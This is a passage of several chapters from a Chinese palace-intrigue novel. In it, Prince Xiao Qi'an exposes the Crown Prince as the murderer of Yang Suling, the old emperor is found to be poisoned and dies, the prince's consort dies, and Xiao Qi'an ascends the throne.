萧祈安这话说得又狠辣又无情,整个人看上去就和立刻要行刑的刽子手般面色可怖。
“贵人饶命,我说!我说就是了!”眼见着面前的这个男人是来真的,牛大力立刻跪下身来对着萧祈安道——
“那日晚上杨二小姐肿着一张脸跑来了五皇子府,哭着喊着要见五皇子妃。后来五皇子妃来了门房亲自把杨二小姐接到了她的院子里,不过半个时辰,五皇子也去了五皇子妃的院子。”
“然后呢?”萧祈安手上握着刚刚刺破牛大力的腿还在滴着鲜血的剑,语气严肃的对着他问道。
牛大力见他这般样子,于是又哆哆嗦嗦地开口了。
“然后他们三人便在皇子妃的院子里又待了半个时辰,最后……五皇子身边的内侍去门房套了一辆马车,他们三人便坐上马车出门去了。”
“你知不知道他们往哪里去了?”萧祈安继续问道。
“那小的哪儿知道啊……诶诶诶,贵人您别急,您把这剑放放可好?咱们有话好好说,好好说……小的瞧见那马车……应该是往皇宫的方向去了……”
牛大力这番话说完,在场的所有人瞬间就明白了。
“这是两百两银票,门口是一辆马车,你拿着这笔钱驾着这辆马车立刻从金州城里消失。若是日后我再在金州城里见到你,我还是会要了你的命!”
萧祈安从裴言的手里接过两百两银票塞到了牛大力的怀里,留下这句话就挥手让他离开了。
而这头的牛大力也不敢耽误,因为他生怕自己慢了一秒钟就会被眼前这个阎王一般的男子给一剑刺死。于是他快速收好银票,逃也似的就离开了。
“呵……这件事,果然和太子有关!”
第一百七十二章 线人与真相
出乎所有人意料之外的,太子身边那个最得宠的吕良娣,居然是很久之前萧祈安安插在太子身边的眼线。
“大概七八年前,我爹娘被村里的地头蛇打死,我也差点被那地头蛇抢去他家中当小妾。是贤王殿下偶然路过,替我教训了那地头蛇,还将我救了下来。”
这会儿坐在众人面前的吕良娣,丝毫没了平日里在太子面前那般妖妖娆娆的样子,整个人看起来显得十分的清冷疏离。
“难怪从前父皇总说六弟你心思多呢,七八年前……你才刚刚出宫建府吧?你那会儿就想着要往太子身边放眼线了?”
四皇子看着眼前的吕良娣,脸上瞬间露出了一副难以置信的表情。
“我没想让她害太子,只是想着若是以后有什么事情,我能早些知道这里头的消息。”
萧祈安有些不好意思地看了一眼四皇子,随即向他解释道。
“所以你说的都是真的?那杨二……早就同太子有了首尾了?”长乐公主想着刚才吕良娣说出来的话,整个人还是一副晕乎乎的样子。
她从前一直以为杨素灵整日里与她们这群贵女混在一块儿,是为了给自己找个好夫家。没想到这女人心可大了,她是想要当太子的女人啊!
“所以我如今有合理的理由怀疑,太子为了借宁儿让杨二小姐当众出丑的这个由头将我拉下马,随即趁杨二小姐不注意的时候杀了她,最后将她运出宫丢到了郊外装作自杀的样子。”
“那杨二一心仰慕太子,根本不可能对他有所防备。太子若是想趁机勒死她再伪装成自杀的模样,真的太简单不过了。”
萧祈安习惯性地摸了摸他大拇指的那个扳指,脑海中的思索却一点儿都没有停止。
“这件事情很简单。”听得萧祈安分析出来的经过,夏明博立刻就出声了。
“一个人是上吊自杀还是被他人勒死,在她的尸体上一定会有重要的发现。”
“那杨二小姐死了没多久,尸体还放在家中停灵。听闻圣上要调查这件案子,前日便将她的尸体送到大理寺的殓房里了。”
“这就好办了。”毕竟在都察院待了好几年了,查案对于萧祈安来说也不是一件陌生的事情了。
“若是那杨二真的是被太子勒死的,她死前一定会有所挣扎。女子的指甲很长,她挣扎起来就一定会抓伤凶手的手、脸或者身上任意的地方。”
“阿嫣。”萧祈安转头,目光严肃地看着坐在一旁等待他吩咐的吕嫣,“你今日回到东宫,找个机会仔细看看太子的手上或者其他的地方有没有被女子抓伤的伤口。”
“夏大人便再吩咐大理寺的仵作仔细检查一下杨二的指甲以及她的颈部索沟。毕竟上吊自杀和被他人勒死,颈部的勒痕,也是不一样的。”
听得萧祈安这番条理清晰的分析,众人瞬间便觉得茅塞顿开。
于是,一场和时间赛跑的调查,便在私底下紧锣密鼓地进行着。
三天后。
这一次,是萧祈安主动带着人证和物证在紫宸殿外求见显庆帝。并且他口口声声要求此番一定要太子和五皇子与他当场对峙。
显庆帝的面上依旧是从前那般似乎随时能洞察一切的样子,他盯着萧祈安看了许久,最终只在他的脸上看到了坚毅的样子。
他终究还是认命般重重地叹了一口气。
“老六,你要朕将太子和老五叫来紫宸殿,可是之前杨家二小姐自杀的事情有眉目了?”
显庆帝看着眼前那个脸上早已褪去了青涩如今只显成熟稳重的萧祈安,沉声问道。
“回父皇的话,儿臣经过一系列调查以及大理寺仵作重新对杨二小姐的尸体进行验尸,如今有了不同的收获。”
萧祈安对着显庆帝行了一礼,随即又有些犹豫地问道,“如今这件事情必须将尸体抬上来才能解释清楚真相,不知父皇是否……”
“萧祈安,你放肆!”
还未曾显庆帝开口回答,一旁的太子忽然厉声打断了萧祈安的话。
“你为了包庇自己的侧妃,居然一而再再而三地在父皇面前演戏!紫宸殿是什么地方?如今你居然要将尸体搬进殿内,孤看你是发了疯了!”
“太子如此激动做什么?莫不是你心中有鬼,不愿意面对真相?”
看着太子又将矛头重新对准了自己,萧祈安终于不再畏惧他了,而是转过头来用那双探究的双眼死死地盯着他。
“逼人自杀的是你的侧妃,万般纵容包庇罪犯的是你贤王,这件事情与孤有何关系?”
这会儿的太子被萧祈安一反问,心中有些忐忑,但是他面上依旧是一副无所畏惧的样子。
“既然与你无关,你便不要随意插嘴打断老六的话,站在一边听着就好。”
看着两个儿子来回争吵,显庆帝也没有生气。他只是等两人都住口了,轻飘飘地对着太子说了一声。
“朕当年和南豫那群蛮人拼杀的时候,什么场面没见过,一具尸体而已,有何好忌讳的?”说到这里,显庆帝便对着门外喊了一声,“潘德忠,让人把尸体抬进来!”
潘德忠得了圣上的话,便挥手让大理寺的人将那具盖着白布的尸体抬进了紫宸殿。
萧祈安见人将尸体抬进来,先是对着显庆帝点了点了,随即便将尸体上的白布“唰”地一下掀了开来。
杨素灵就那样躺在那里。
因为如今已经接近腊月了,天气寒冷,所以哪怕杨素灵已经死了半个来月了,她的尸体也没有众人想象的那么可怕。
只是脸上和四肢都分布着一些大小不等的青紫色尸斑。
在萧祈安将杨素灵的尸体暴露出来以后,在场众人面上的表情各异。
显庆帝和萧祈安同样是那般面不改色;太子则是不住地皱着眉头,似乎并不想面对如今眼前的场景;而躲在太子身后的五皇子,面上早就已经吓得如同一张白纸一般,哆哆嗦嗦地半句话都说不出来了。
第一百七十三章 不配为储君
显庆帝盯着杨素灵的尸体看了一会儿,最终将目光重新投到了萧祈安的身上。
“尸体已经抬上来了,有什么话你可以说了。”
“其实儿臣想要说的话很简单,这件事情也并不复杂。”萧祈安走到杨素灵尸体前面,丝毫不惧地将她的眼皮掀了开来。
“一般人若是上吊自杀,她的眼球里是不会有这种出血点的,面上也不会呈现出这种青紫色的样子。”
“最重要的是上吊自杀的人,她的尸斑大部分是分布在双手和下肢。而父皇请看,这杨二小姐双手和下肢的尸斑颜色明显不一致,很显然,她双手的尸斑是后来停尸时间长了才长出来的,而不是同下肢同一时间长出来的。”
“所以你说了这么多,是想要表达什么?”显庆帝听着萧祈安头头是道地分析着,眉头紧锁。
“儿臣想要说的就是,这杨二小姐根本就不是自杀的,而是……生前被人勒死然后再伪装成上吊自杀的样子!”
!!!
萧祈安一席话落,在场的众人都呆住了。
眼见着众人这般样子,萧祈安也没有给大家喘息的机会,他打算一鼓作气将所有的事情全部说出来。
只见他又拉过了杨素灵的双手,捏住了她的指尖道,“父皇您再仔细看看,这杨二小姐的十个指甲缝里,是不是隐隐约约看得见一些带着血的可疑物?”
听得萧祈安的话,显庆帝便靠近看了,果然瞧见杨素灵的十个指甲缝里都有一些类似于人类皮肉的可疑物。
“这……是不是她在挣扎时抓破凶手导致的?”
显庆帝抬起头来,语气虽是疑问,但是心中已经明了了。
“父皇说对了!”萧祈安点了点头,随即转过身来对着太子朗声道,“不知太子可否将两边的衣袖撸起,让我看看您两边的手臂上是否有被女子抓伤的痕迹?”
眼见着萧祈安直接就把矛头对准了自己,太子心中瞬间就慌了。
其实当大理寺的人将杨素灵的尸体抬到殿上的时候,他心中就已经慌得不行了。只是为了防止被人看出他的异样,他一直都在强装。
可是如今听得萧祈安的话,他心里的防线也快崩塌了。
他也不说话,只是死死地拉住自己两边的衣袖,不肯让任何人碰自己。
事情已经到了如今的地步,显庆帝还有什么不明白的呢?
他顿了好一会儿,也不叫旁人动手,直接自己上前不由分说地就将太子的衣袖撸起。果然瞧见太子两边的下臂上不多不少刚好一边有五道明显是被指甲划破的伤痕,如今还尚未愈合呢!
显庆帝颓然地闭上了眼睛。
“太子,你还有什么好说的?”
“父皇!父皇不是这样的,不是这样的!儿臣手上的伤痕,是……是和吕良娣行房事的时候被她抓伤的,不是被这个女人抓伤的啊!”
眼见着如今的显庆帝看着自己的目光全都剩下的失望,太子仍旧在苦苦挣扎。
“哦,太子不提吕良娣,弟弟倒是把这么个重要证人给忘了。”
听得太子果真把吕嫣搬了出来,萧祈安了然一笑。
只见他伸出手来拍了拍手,便瞧见吕嫣从殿门外走了进来。
如今的她脸色苍白,满脸都是惊恐万分的样子,整个人看起来像是一只受了惊的小白兔。
她入了殿来也不看任何人,只是直直地就朝显庆帝跪了下来。
“陛下饶命啊!太子殿下手上的伤不是妾抓的!双十节的那天晚上,妾本在花园里赏月,忽然瞧见五皇子和五皇子妃带着个女子入了殿下的房间,几个人关起门来在房间里待了许久。”
“没过一会儿,妾便听到殿下的屋子里传来了女人哭泣尖叫的声音,后来……那声音就渐渐小了,直到再也听不见了。”
“妾当时害怕,最近这些时日便一直躲在房内不敢出来。一直等到贤王殿下找到妾,妾才敢将这件事情说出来!”
“是妾胆小,这才让杨二小姐命丧太子手中,求陛下开恩,饶了妾一命吧!”
吕嫣跪在地上,声泪俱下地对着显庆帝述说件这些众人都不知道的事情。而这头的显庆帝听完吕嫣的话,面上早就已经因为愤怒而变得通红!
“吕嫣!孤对你这么好,你为何要出卖孤!”眼见着自己一直以来疼得和眼珠子一样的女人毫不犹豫地就站在了自己的对立面,太子都快气疯了。
难怪他杀杨素灵的当晚在门外听到了一阵窸窸窣窣的声音,他一开始还以为是野猫,没想到……居然是这个女人躲在门口偷听?
他发疯一样冲到吕嫣面前,不由分说地就想要踹她,最终还是被萧祈安眼疾手快地将吕嫣拉了开来。
“陛下救命,太子要杀人了!太子要杀人灭口了!呜呜呜……”
“够了!太子你闹够了没有?!人证物证全在这里,你还想要抵赖到什么时候?!”
显庆帝抬头瞧着自己宠了二十多年的嫡长子,如今正如同一只疯狗一样在自己面前发疯,他感觉自己的心都快要死了。
他什么话都没有说,只是颓然地转过身去,缓慢地走到了书桌前,拿起手里的几张纸和一封奏折甩到了太子的身上。
“老六今日说的每句话,查到的每一件事情,早三日前,朕就已经查清楚了。”
“你同那杨家二小姐早就在暗中有了首尾,你为了栽赃嫁祸老六和夏宜人,生生将那杨二小姐勒死!如此对待一个真心爱你的女人,萧祈正,你真的太狠心了!”
“而且最重要的是,半月前的那场严重的痘疫,本来是可以避免的!”
说到这里,显庆帝更是一副痛心疾首的样子。
“你的门客,早半月前就给你上了折子,明明白白告诉你,金州城的医馆里似乎零零散散有几个全身长痘的病患在看病。可是你那个时候满心只想着怎么杀人嫁祸,根本无心在这件事情上!”
“若是当时你能重视这个消息,哪怕你能力实在有限不知道如何处理,你把这件事情上报给朕,那半月前的那场痘疫也不至于死了那样多的百姓!”
“萧祈正,你作为储君不顾百姓的性命安危;作为兄弟你满心都想着陷害手足;作为儿子你只想着如何欺朕瞒你的父亲!”
“你就是一个十足的不忠不孝不仁不义之人!你这种人,不配为朕的太子,更不配做大容的储君!”
第一百七十五章 故人相见
那日回了府,夏韶宁就赶忙给公孙信去了信。
因为信上的内容太过重要,萧祈安不放心由驿站送去,所以直接就让裴言跑了一趟。
两个人焦急地等了一周,最终却只等到了裴言只身一人回了府。
“公孙大夫说,眼瞅着要过年了,他要在蜀州过完了年再来。”裴言抬起头来看了看满脸期待的萧祈安和夏韶宁,说完这句话后又快速地低下了头去。
“公孙大夫还是如从前一般如此……随心所欲的性格啊。”听得裴言的话,萧祈安有些尴尬的对着夏韶宁笑了笑。
天知道其实他是想说任性的,只是想着那公孙信是长辈,又曾救过他的命,好歹还是换了个文雅的词语。
“嗨,反正如今没几日也就过年了,师父这个人向来说话算话,他说过完了年来,那他便一定会来。”
虽然夏韶宁心中也有些着急,但是她还是尊重师父的选择。
于是,显庆二十九年就这样慌慌张张地到来了。
如今的显庆帝明显能感觉到自己的身体越发不好了起来,虽然早些年他的身体就一直断断续续地有问题,只是他却感觉这两年更厉害了。
太医院那么多太医,始终也没办法找到他这病的症结所在,一幅一副药吃了下去,也就只能让他强撑着身子安安生生地过完了这个年。
好在如今还在正月里,政务没有平日里繁忙,所以他尚且还能应付得过去。
可是每当他安安静静地一个人待着的时候,巨大的恐惧却仿佛一只长着嘴的妖怪一般好像随时都可以将他吞噬。
他忽然觉得自己很失败。
“陛下,贤王殿下和夏宜人来了,她们说想让陛下见一个人。”
这一天,显庆帝依旧是一个人待在紫宸殿,却见潘德忠快速走到他身边来朝着他禀报道。
“老六来了?让他进来吧。”显庆帝抚了抚额头,随即对着潘德忠摆了摆手,“叫殿里伺候的人都下去吧,正好朕也有话想和老六说。”
潘德忠点了点头,转身便把殿内所有人带了下去。
“给父皇/陛下请安。”萧祈安和夏韶宁入了殿来,便跪下身来朝着显庆帝行起礼来,只是这会儿站在她们身边的公孙信,却依旧笔直地站在那里。
夏韶宁见状,心中一紧,急忙扯了扯公孙信的衣摆,可惜他仍旧一动不动。
显庆帝一开始只是撑着头靠在龙椅上想问题,待看清面前这个白须白眉的男子是何人的时候,他的面上明显露出了十分震惊的神情。
他缓缓地从龙椅上站了起来,一步一步走到了公孙信的面前,盯着他看了好一会儿,这才有些犹豫道,“你是……公孙信?”
“哈哈哈哈,我还以为陛下早就将我忘记了,没想到您还记得我。”
眼见着眼前的显庆帝叫出了自己的名字,公孙信忽然捻着胡须哈哈大笑了起来。
夏韶宁看着眼前两人这般反常的样子,心中有些疑惑。她细细地想了想,忽然记起自己第一次与公孙信见面时他对自己说的话。
她忽然什么都明白了。
想来,显庆帝与公孙信,这是故人见面啊。
“父皇。”一旁的萧祈安并不知道眼前这三人有着什么纠葛,眼见着众人都不说话了,他便又对着显庆帝开口了。
“这是大容名医公孙大夫,儿臣上次命悬一线都是公孙大夫救回来的。父皇身子一直不适,所以儿臣便想着请公大夫来给您瞧瞧,想着……”
“你这娃儿莫说话咯,陛下这病,我可治不了。”
公孙信也不等萧祈安把话说完,直接就对着他摆了摆手。
“早十来年前陛下就曾说过我是庸医,所以这病,我看不了。”
萧祈安没想到原来公孙大夫同父皇早就认识,如今听得他的话,倒是有些云里雾里。
“您还没开始给父皇看诊呢,怎么就……”
“安儿,你不必说了,是朕的不是,都是朕的错。”
显庆帝对着一脸不解的萧祈安摆
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了摆手,径直走到了昂着头不肯看他一眼的公孙信面前。
“大概十来年前,朕忽然得了一种很奇怪的病,这病犯起来的时候时常会让人觉得昏昏沉沉,思绪不明。”
“那时候朕费尽心思寻到了公孙大夫,想让先生给朕看病。谁知先生只是给朕号了脉,又细细地看了朕一眼,就告诉朕,这病若是想要治好,朕就必须当自己是个聋子和瞎子,什么都不能去干涉,顺其自然就好。”
“朕当时年轻,听完先生的话以后便发了好大的脾气,还扬言要杀了先生。谁知道不过一会儿的功夫,先生就不见了。”
“朕后来又派了许多人去寻先生,就再也没寻到了。想必先生应该是已经离开金州了吧?”
显庆帝这番话说得很慢,似乎陷入了很久远的回忆里。
“难为陛下还记得。”公孙信听完显庆帝这番话,也没有立刻出声。他顿了好大一会儿,最终也只是重重地叹了一口气。
“我当时同陛下说过,这世间所有的事情万事万物都是有规律的,您若是强行要违背规律,您是会遭到反噬的。”
公孙信抬起头来,映入眼帘的就是显庆帝那张苍白到不正常的脸,最终还是伸出手来给显庆帝把起脉来。
殿内很安静,萧祈安好几次都想要出声说话,却都被夏韶宁无声地打断了。
夏韶宁转头看了萧祈安一眼,只是给了他一个安定的眼神后轻轻对着他摇了摇头。
也不知道过了多久,公孙信终于将诊脉的手收了回来。
“您如今的脉象瞧着比十多年前更加严重了。”公孙信抬起头来看着已经不再年轻的显庆帝,一字一句对着他道——
“早在十多年之前,您的身体里就有毒素的存在,只是那个时候的毒素很轻微,还不足以影响您的性命。”
“而今日我再给您把脉,您体内的毒素早就已经深入到五脏六腑了。哪怕我用尽我的毕生所学,最多也就可保您——三个月的寿命。”
第一百七十八章 病逝
瑞香院的主屋里,孩子的哭喊声此起彼伏。
大姑娘和三公子的奶娘见自家小主子哭得这么伤心,一个个心疼得都想要上前哄一哄。却不想她们的手刚刚伸过去,就被夏韶宁使劲推开了。
“不许哄!就叫她们哭!哭给她们的母亲听一听!我不信这个世界上怎么会有这么狠心的娘亲,就因为自己那一点点放不下的自尊心,如此狠心的不管不顾自己的一双儿女!她怎么做得出这种事来!”
夏韶宁一边狠狠地说着这番话,一边不由分说地将挡在王妃跟前的所有人都统统拨到了一旁。
只见她“咚”地一下坐到了王妃的床前,对着她大声道,“娘娘,您听到了吗?您的儿子女儿都在哭呢!若是您不醒,您的孩子以后就只能被后娘作践了!您那么疼爱这两个孩子,您真的忍心看到她们以后落得这般地步吗?!”
夏韶宁平日里说起话来从来轻声细语,没人惹她的时候她也甚少发脾气。这是萧祈安第一次见她当着自己的面生这么大的气发这么大的脾气。
只是他也没有去出声阻止夏韶宁这般举动,因为他明白,夏韶宁是在用这种激将法想看看能不能让王妃清醒过来。
果然,刚刚还是昏迷不醒的王妃,听得大姑娘和三公子这断断续续的哭声,又听见夏韶宁这般恶狠狠的话,她居然真的缓缓地睁开了眼睛!
“你……这女人……真的……好奇怪,你叫……叫我如何……恨得起……你?”
这会儿的王妃,说话的声音很轻很轻,整个人也依旧如浮萍一般似乎有些摇摇欲坠。
她用尽了全身力气拉住了夏韶宁的一只手,又费力地抬起了另外一只手轻轻摸了摸大姑娘和三公子的头,而后居然……笑了起来。
王妃用眼神看了看一旁的下人们,白露瞬间会意,转头就将屋子里伺候的人都给带了下去。
这一会儿,屋子里只剩下萧祈安,夏韶宁,还有大姑娘和三公子了。
王妃偏过头来看了一眼萧祈安,张开嘴想要说话。可是她真的已经病了太久太久,这会儿说出的话连她自己也听不清了。
此时的萧祈安心中也不是滋味,眼见着王妃这个样子,他便快步走到了她的面前,不由分说地握住了她的手。
“我在这里,你要说什么,我听得到。”
“王爷……妾怕是真的不……不行了。妾如今只有一个……心愿,待妾……**以后,求您一定要……善待心若和……驰儿!他们两个……小小年纪……没了亲娘,求您……护着他们,别叫……旁人欺侮了……他们!”
王妃死死拉着萧祈安的手,每句话每个字都说得那样的艰难。只是哪怕她觉得此时的自己再累,她也想要将心中想说的话一股脑儿的全都说出来。
因为她自己也明白,或许,她这辈子,也就只能走到这里了。
萧祈安看着眼前的王妃,记忆里自己与她大婚的时候明明是那样鲜活的一个女孩子,不过几年的时间,她为何就成了如今这般样子?
哪怕自己这些年来对她并没有什么感情,可是到了这个时候,他的心里忽然还是觉得酸痛的难受。
“你放心,心若和驰儿也是我的孩子,我会好好照顾他们的。”
萧祈安别过头去,不想让人看到他那通红的眼眶。他缓了缓自己的情绪,随即又转过头来轻声安慰王妃,“你不要想那么多,你会好的,你会好起来的。”
“王爷……不要哄妾了,妾……妾的身体,妾自己……明白。”
看着萧祈安这般样子,王妃只是苍白地笑了笑,随即又对着大姑娘招了招手。
“心若……娘可能要先走……一步了,你如今……已经是大孩子了,等……等娘走后,你要……好好照顾弟弟。娘……娘会在天上……看着……你们……”
一滴晶莹的泪顺着王妃苍白的脸颊滴落到了大姑娘的手背上,她感觉到了自己母亲泪水的温度,但是却无法改变母亲的生命已经走到终点的结局。
王妃就这
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样缓缓地闭上了眼睛,停止了呼吸。
“母亲!母亲你不要抛下心若!母亲!!母亲!!”
大姑娘的哭喊声显得那样的悲恸,直听得刚刚还气势汹汹朝着王妃大声叫喊着的夏韶宁也早就泪流满面了。
无论她如何努力,她也终究无法改变王妃的命运,这个世间,又少了一位好母亲。
……
显庆二十九年正月十九,贤王妃纪容与病逝于瑞香院主屋内,享年二十二岁。
萧祈安一夜之间仿佛老了好几岁。
贤王府四处都挂上了白,陆陆续续也有人来府里的灵堂上祭奠。
好在礼部和太常寺全权筹办了王妃的整个丧礼,倒是也不至于让整个贤王府乱了起来。
夜,灵堂内。
夏韶宁穿着一身素色的衣裳,正跪在灵堂前给王妃守灵。
其他妾室们也依着各自的位份跪在夏韶宁的身后。
这会儿人人的眼睛都哭得通红,仿佛这灵堂内每个女人都在为王妃的去世而感到伤痛。可是这里头有几分真几分假,也就只有她们自己明白了。
“我与王妃相处的时间最长,这么好的人,怎么说去就去了。”
唐侧妃跪在蒲团上,这会儿正一只手拿着帕子按着眼角,另一只手往火盆里丢纸。
“说起来,王妃好像就是在夏侧妃得了圣上亲封的诰命以后就病倒了。”
许侧妃拿眼角瞥了夏韶宁一眼,小声嘀咕了一句。
“生老病死实乃人之常情,这会儿在王妃的灵堂上,许侧妃还是不要乱说话的好。”
苏庶妃紧了紧身上的大氅,说话的语气冷冰冰的。
“你们一个个消停些吧!”
这段时间心里积攒了很多的事情,夏韶宁早就觉得不耐烦了。
她往眼前的火盆里丢了一沓纸,厉声道,“别说我没提醒你们,王爷最近心情很差,你们一个个都管好些自己的嘴吧!到时候若是哪儿惹了王爷生气,可再没了王妃这么好性子的人去帮你们求情了!”
第一百七十九章 尧山祭祖
王妃的丧事处理完,已经是一个月以后的事情了。
虽说贤王府新丧,但是朝堂之上的大臣们都看得出来,圣上一点儿都不介意。
因为自从太子犯事被废了以后,贤王殿下就开始频繁出入圣上的紫宸殿。
就连王妃新丧的这一个月里都不例外。
众人都从这明显的变化里嗅出了一丝不一样的味道。
而这中间,有些人早就坐不住了。
大朝会。
“二月廿八是一年一度的尧山祭祖日,朕今年想带着贤王一道登顶祭祖。”
潘德忠刚甩着拂尘说完“有事早奏,无事退朝”这句话后,显庆帝便自顾自地开口了。
众臣听完显庆帝这番话,一个个你看看我,我看看你,半天没人敢说一句话。
“众爱卿若是无异议,礼部就即刻着手去做准备吧。”
显庆地睨了一眼朝堂之上的大臣们,见他们都不说话,于是干脆利落地就下了决定。
“陛下,这似乎,不合规矩。”
就在大臣们还在纠结是否要开口的时候,站在最前面一排的侍中袁林南站了出来。
他先是对着显庆帝行了一礼,随后瞥了一眼和他站在同一排的萧祈安,朗声道,“从来都只有储君陪着天子一道登顶祭祖的道理,而如今的贤王殿下他非嫡非长,贸然陪着陛下一道登顶祭祖,恐怕大容祖先也会不喜的啊!”
“袁侍中这话说得还挺有意思的。”
袁林南的话音刚落,萧祈安却忍不住对着他发出了一声毫不留情的冷笑。
“不知道的,还以为祭的不是我们萧家的祖先,而是你们袁家的祖先呢!本王再非嫡非长,那也姓萧,萧家儿郎祭我萧家祖先,轮得到你一个姓袁的在这说三道四吗?”
“贤王殿下,你……你怎可这般同微臣说话?!”
听得萧祈安这番毫不客气的话,袁林南气的胡子似乎都抖了起来。
“贤王说得有道理,废太子如今犯了事,他已经没有资格陪着朕去祭祖了。”
显庆帝说起了废太子,那面上的嫌弃更是让所有人都看得明明白白。
“朕心意已决,礼部去做准备便是。”
很明显,显庆帝已经不想再继续说这件事了。只见他对着礼部尚书摆了摆手,也就不再继续说话了。
宣政殿殿外。
萧祈安甩着扇子走出了殿外,一眼就看见刚刚被他呛声的袁林南正在同围在他身边的一群秦家门客不停地数落自己。
“早些时候还觉得贤王当真当得起圣上给他的这个‘贤’字,没成想眼瞧着太子殿下倒了台,他倒是越发嚣张跋扈起来!”
这会儿说话的,是与袁林南同为正三品的太子宾客荀照。因着太子犯事被幽禁,他也受到了一定程度的牵连。如今在显庆帝面前那是连抬头说话都不敢高声,只敢躲在背后随意曲曲他人。
“哼,他居然连老夫都不放在眼里,真的太过分了!”听得有人站到自己一边,袁林南更来劲了。
“各位又何须同他一般见识,反正……”
殿中少监吕和看了众人一眼,一副尽在不言中的样子。
“哟,各位说什么呢?说得这么来劲?”
眼瞧着那群人已经说得差不多了,萧祈安便摇着扇子走了过去。
几个人看见他走了过来,除了袁林南仍把头偏向一旁不想看他,其余人倒是都不情不愿地对着萧祈安行了一礼。
“要本王说啊,你们大可不必这么生气。不过登顶祭祖这种小事,连父皇都说今年不叫范慈大人的羽林军跟着了,你们还那般认真做什么?”
留下这句话,萧祈安也不管这几个人是个什么表情,转头带着张全和就离开了。
只留下刚刚还义愤填膺的众人,一个个不禁面面相觑起来。
“他刚刚说什么?今年圣上去尧山不叫羽林军跟着了?”
吕和转过身来快速挪到了荀照身边,又抬头看了看已经陷入沉思的袁林南,一时之间也不敢说话了。
“我得通知秦大人。”顿了好一会儿,袁林南这才下定了决心,转头就往宫
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门口走去了。
“吕大人,你还愣着干什么,还不赶快去寻吕美人,让她把这个消息递给皇后娘娘!”
眼见着吕和还在发呆,荀照便立刻压低声音对着他道,“这么重要的消息,可得好好的传到皇后娘娘的耳朵里才是!”
***
这厢的萧祈安根本不管那几个人因为他随意说出口的一句话忙成了什么样子,他这会儿已经回了贤王府,正满脸严肃地准备和夏韶宁说话。
萧祈安神色凝重地跨进了琼华院的主屋,转头就将屋门严严实实地关了起来。
“我和父皇后日要去尧山祭祖,如果没有意外,后日就是最后的收网之日了!”
萧祈安看了夏韶宁一眼,面上忽然露出了一丝隐隐约约期待的神情。
他与父皇已经布局布了一个月了,是时候将这群人统统一网打尽了!
“会很危险吗?”看着萧祈安那副样子,夏韶宁心中忽然有些不安。
她转过身来微微思考了好一会儿,虽然知道不合适,但是她还是朝着萧祈安试探性地问道,“我能跟着您一道去吗?”
萧祈安似乎没料到夏韶宁会提出这样一个要求,忽然愣住了。
“你不怕?”
“我当初那般千辛万苦去江州救你,差点被废瑞王的手下杀死我都没提一个怕字。如今这种已经早有准备的事情,我又有什么好怕的?”
夏韶宁转过头来,那狡黠的目光就这样与萧祈安碰到了一处。
两人只是对视了一眼,忽然就那样一齐笑了起来。
“若是打起架来,你躲远点,刀剑不长眼,别伤着自己。”
萧祈安伸出手,一把将夏韶宁拉进了怀里,下巴搁在她的头顶上不住婆娑着。
“您放心,我惜命着呢。”夏韶宁拉过萧祈安的手,忽然伸出手指在他的手心里写下了两个字。
萧祈安感觉自己的掌心痒痒的,待夏韶宁一笔一划地写完了,他才惊觉这丫头写的两个字是什么。
“平安,您与圣上一定都要平安!”
第一百八十二章 新帝登基
显庆二十九年二月廿八,显庆帝萧远山传位于皇六子萧祈安,随后于尧山驾崩,享年四十八岁。
文臣以丞相燕川为首,武将以车骑将军傅赟为首,亲迎新帝于太和殿登基。
新帝登基改国号为光启,如今是为光启元年。
以废太子萧祈正和秦文远为首的一众叛贼,主要人员集体斩首示众,剩下的其他人,该抄家抄家,该流放流放,一个都逃不过。
连续三四个月,金州城日日都在肃清叛党,但凡与废太子和秦家有一点儿关系的官宦人家,全都逃不过被牵连的命运。
光启帝怒斥废太子是个不忠不孝不仁不义之人,丧心病狂到居然想要弑父夺位。更是坦言秦家愧对先祖亲赐的“忠贞之士”这四个字,朝堂之内所有秦家党羽,若是参与了叛乱的,统统斩首抄家流放,其他未曾参与的,全部集体贬出了金州城。
就这样,盘踞大容几十年的秦家,与之前的叶家一样,彻底消亡于大容的历史长河之中。
值得一提的是先帝的秦皇后,光启帝本念在其侍奉先帝近三十年的功劳,只命她去宝光寺带发修行,不曾想要她的性命。
只是这秦皇后却是个刚烈的性子,一听到自己唯一的儿子****,自己的娘家顷刻间也倒了台,一怒之下居然在凤仪宫内触柱身亡了!
光启帝听闻消息之后只是轻轻叹了口气,吩咐礼部好生处理其身后事。
当然,畏罪自戕的宫妃是不被允许葬入皇陵,更遑论与先帝合葬了。
一切,终于尘埃落定。
***
大容规定的孝期是一百八十日,再加上萧祈安刚刚登基,一系列事情纷繁复杂毫无头绪,所以他也就整整半年没入过后宫。
当初贤王府的女眷们,在萧祈安登基以后便被接进了后宫。只不过萧祈安初登基实在太忙了,所以也就是太后做主给她们随意分配了住处暂时住着,其他东西一概没有。
如今一百八十日的孝期已满,前朝的事情也都处理得差不多了,所以后宫女人们的心思也渐渐开始活跃起来了。
众人都在等着圣上满了孝期后头一回入后宫会去谁的宫里,又会如何确定众人的位份。却没想到萧祈安从来不按套路出牌,他直接让张全和传旨把夏韶宁召到了紫宸殿。
紫宸殿。
夏韶宁已经半年没见过萧祈安了。
如今她站在下首,上首是穿着龙袍的萧祈安,她忽然之间有些恍惚。
这男人,还真的当上皇帝了?
“半年没见朕,不认识了?”
萧祈安看着夏韶宁一副呆愣愣的样子,便从龙椅上走了下来,伸出手来就拧了拧她的脸。
“痛。”脸上的痛瞬间让夏韶宁回过神来,这会儿的她才终于确定一切不是做梦。
萧祈安他真的实现他的愿望,坐上那个位置,成了大容国的新一任帝王了。
“朕忙着没空去瞧你,你也不知道遣个人来给朕问个安,你就一点儿不想朕?”
说着,萧祈安一把就将夏韶宁拉进了怀里,“想你了,特别想。”
夏韶宁窝在萧祈安的怀里,听着他强有力的心跳声,直到这个时候才感受到了一阵踏实的安心感,于是那紧绷的身体也就渐渐放松了下来。
“臣妾听说这半年来外头乱得很,想来陛下肯定也很忙,又是在孝期里,所以臣妾不敢来打扰陛下。”
夏韶宁说话的声音小小的,只是萧祈安却听得清清楚楚。
“宁儿,这半年来,朕杀了好多人,这几个月来朕每天晚上做梦都会梦到那群人伸着舌头要来索朕的命,可是朕不怕,朕也不后悔。”
萧祈安伸出手来细细婆娑着夏韶宁的头发,说话的语气听不出什么情绪。
“臣妾不知道别的,只知道少时在学堂里念书的时候,先生曾教过一句诗——‘野火烧不尽,春风吹又生’。”
“那群人死得不无辜,他们一日不死,陛下的皇位就一日坐不安慰,大容的老百姓就一日过不上安定的好日子。”
夏韶宁从来就不是那般娇娇弱弱的女
